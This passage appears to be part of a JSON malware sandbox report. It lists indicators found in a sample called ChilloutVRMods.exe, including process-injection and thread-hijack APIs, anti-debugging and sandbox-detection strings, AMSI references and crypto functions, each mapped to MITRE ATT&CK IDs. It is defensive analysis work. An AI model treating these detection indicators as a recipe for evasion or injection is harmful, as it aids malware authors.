\"GetSystemTimePreciseAsFileTime\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"GetTempPathW\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"SeDebugPrivilege\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\UTC\" in Source: sample.bin, \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\\AutoExclusionList\" in Source: sample.bin, \"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\DebugApplications\" in Source: sample.bin, \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\\" in Source: sample.bin, \"SOFTWARE\\Policies\\Microsoft\\Windows\\Windows Error Reporting\\DebugApplications\" in Source: sample.bin, \"SOFTWARE\\dotnet\" in Source: sample.bin, \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\" in Source: sample.bin, \"Software\\Wow6432Node\" in Source: sample.bin, \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\" in Source: sample.bin, \"SOFTWARE\\Classes\\\" in Source: sample.bin, \"HKCU\\\" in Source: sample.bin, \"HKLM\\\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"Failed to map file. CreateFileMappingW(%s) failed with error %d\" (Indicator: \"CreateFile\"; Source: \"sample.bin\"), Found reference to API \"KERNEL32!CreateFileW\" (Indicator: \"CreateFile\"; Source: \"sample.bin\"), Found reference to API \"Failed to map file. CreateFileW(%s) failed with error %d\" (Indicator: \"CreateFile\"; Source: \"sample.bin\"), Found reference to API \"InvalidOperation_CantCreateFileMapping\" (Indicator: \"CreateFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-315","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"TypeLoadResourceID\" (Indicator: \"LoadResource\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-550","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"UseShellExecuteNotSupported\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\"), Found reference to API \"SHELL32!ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$25","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-138","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"\namsi.dll\" (Indicator: \"amsi.dll\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1562.001","id":"string-231","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses .NET dynamic method generation for code execution","description":"Found string \"Anonymously Hosted DynamicMethods Assembly\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027.002","id":"string-993","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"NotSupported_ECDsa_Csp\" (Indicator: \"ecdsa\"; Source: \"sample.bin\"), Found string \"System.Security.Cryptography\" (Indicator: \"System.Security.Cryptography\"; Source: \"sample.bin\"), Found string \"Format_BadBase64Char\" (Indicator: \"base64\"; Source: \"sample.bin\"), Found string \"EnableAES\" (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"System.Security.Cryptography.dll\" (Indicator: \"System.Security.Cryptography\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetTempPath2W\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\"), Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\"), Found reference to API \"Failed to map file. GetFileSizeEx(%s) failed with error %d\" (Indicator: \"GetFileSize\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"ADVAPI32!RegQueryValueExW\" in \"sample.bin\", Found registry query API: \"ADVAPI32!RegOpenKeyExW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-229","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"system.gc.name\", Heuristic match: \" .net\", Pattern match: \"http://schemas.microsoft.com/win/2004/08/events\", Pattern match: \"https://aka.ms/dotnet-core-applaunch\", Pattern match: \"https://aka.ms/dotnet/app-launch-failed\", Pattern match: \"https://aka.ms/dotnet/download\", Pattern match: \"https://aka.ms/dotnet/info\", Pattern match: \"https://aka.ms/dotnet/sdk-not-found\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://aka.ms\"","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"8.0.0.0\", \"4.0.0.0\", \"10.0.0.0\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeLockMemoryPrivilege\" (Indicator: \"SeLockMemoryPrivilege\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1548","id":"string-97","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-77","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$26","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"file/memory contains long string(File: \"_lzma.pyd\")\n file/memory contains long string(File: \"_bz2.pyd\")\n Found string \"system.io.compression\" (Source: \"00000000-00002044.00000000.199435.4D140000.00000004.mdmp, 00000000-00002044.00000001.199487.4D110000.00000004.mdmp\")\n Found string \"compressionmethod\" (Source: \"00000000-00002044.00000000.199435.4D140000.00000004.mdmp\")\n Found string \"compressiontracingswitchlevel\" (Source: \"00000000-00002044.00000000.199435.4D140000.00000004.mdmp\")\n Found string \"compressiontracingswitch\" (Source: \"00000000-00002044.00000000.199435.4D140000.00000004.mdmp\")\n Found string \"compressionmode\" (Source: \"00000000-00002044.00000001.199487.4D110000.00000004.mdmp\")\n Found string \"decompressionmethods\" (Source: \"00000000-00002044.00000001.199487.4D110000.00000004.mdmp\")\n Found string \"compressionlevel\" (Source: \"00000000-00002044.00000001.199487.4D110000.00000004.mdmp\")\n Found string \"compressionstrategy\" (Source: \"00000000-00002044.00000001.199487.4D110000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAlloc\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAllocEx\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAllocEx\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00005884)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00005884)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00005884)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00005884)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1537430978561', 'hResInfo': '1537430986976'}\" (UID: 00000000-00005884)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1537430978561', 'hResInfo': '1537430987008'}\" (UID: 00000000-00005884)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1537430978561', 'hResInfo': '1537430987024'}\" (UID: 00000000-00005884)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1537430978561', 'hResInfo': '1537430986992'}\" (UID: 00000000-00005884)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"$27","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"SetThreadToken\" (Indicator: \"SetThreadToken\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"RegSetValueW\" (Indicator: \"RegSetValue\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004788.00000000.201161.7E360000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007912.00000002.198897.80850000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007912.00000002.198897.E2273000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007912.00000003.201323.80830000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007912.00000003.201323.80870000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007912.00000003.201323.E0230000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp, 00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"zeppskdd.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at D5610000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at D5610000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"cmd.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"powershell.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"cscript.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"python.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"taskkill.exe\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$28","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$29","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"zeppskdd.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00003736-00000C2C-2100914838\")\n Found reference to API \"CryptUnprotectDataW\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00002044-00000C2C-2108044736\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00002044.00000000.199435.4D0F0000.00000004.mdmp\")\n Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00003696.00000000.199860.4D0F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00002044.00000001.199487.7BBC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00007912-00000C2C-2035412338\")\n Found reference to API \"BCryptImportKey\" (Indicator: \"BCryptImportKey\"; Source: \"00000000-00007912-00000C2C-2035423018\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00007912-00000C2C-2035439150\")\n Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"00000000-00007912-00000C2C-2136959864\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContext\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CertCloseStore\" (Indicator: \"CertCloseStore\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CertEnumCertificatesInStore\" (Indicator: \"CertEnumCertificatesInStore\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CertFreeCertificateContext\" (Indicator: \"CertFreeCertificateContext\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002044.00000000.199435.4D0F0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002044.00000001.199487.4D180000.00000004.mdmp\")\n Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003696.00000000.199860.4D0F0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003696.00000000.199860.4D180000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to use AES encryption instructions","description":"Found string \"AESNI_start_operation\" (Indicator: \"AESNI\"; Source: \"00000000-00003736-00000C2C-2101080769\")\n Found string \"AESNI_stop_operation\" (Indicator: \"AESNI\"; Source: \"00000000-00003736-00000C2C-2101080821\")","origin":"File/Memory","mitre_attack_id":"T1573.001","relevance":3,"id":"string-584","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp\")\n Found string \"encryptedkey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00002044.00000001.199487.4D250000.00000004.mdmp\")\n Found string \"keyinfoencryptedkey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00002044.00000001.199487.4D250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2d","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2e","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2f","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"$30","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004592-00000C2C-2044032065\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005884-00000C2C-2048763963\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00002044.00000001.199487.738C0000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: 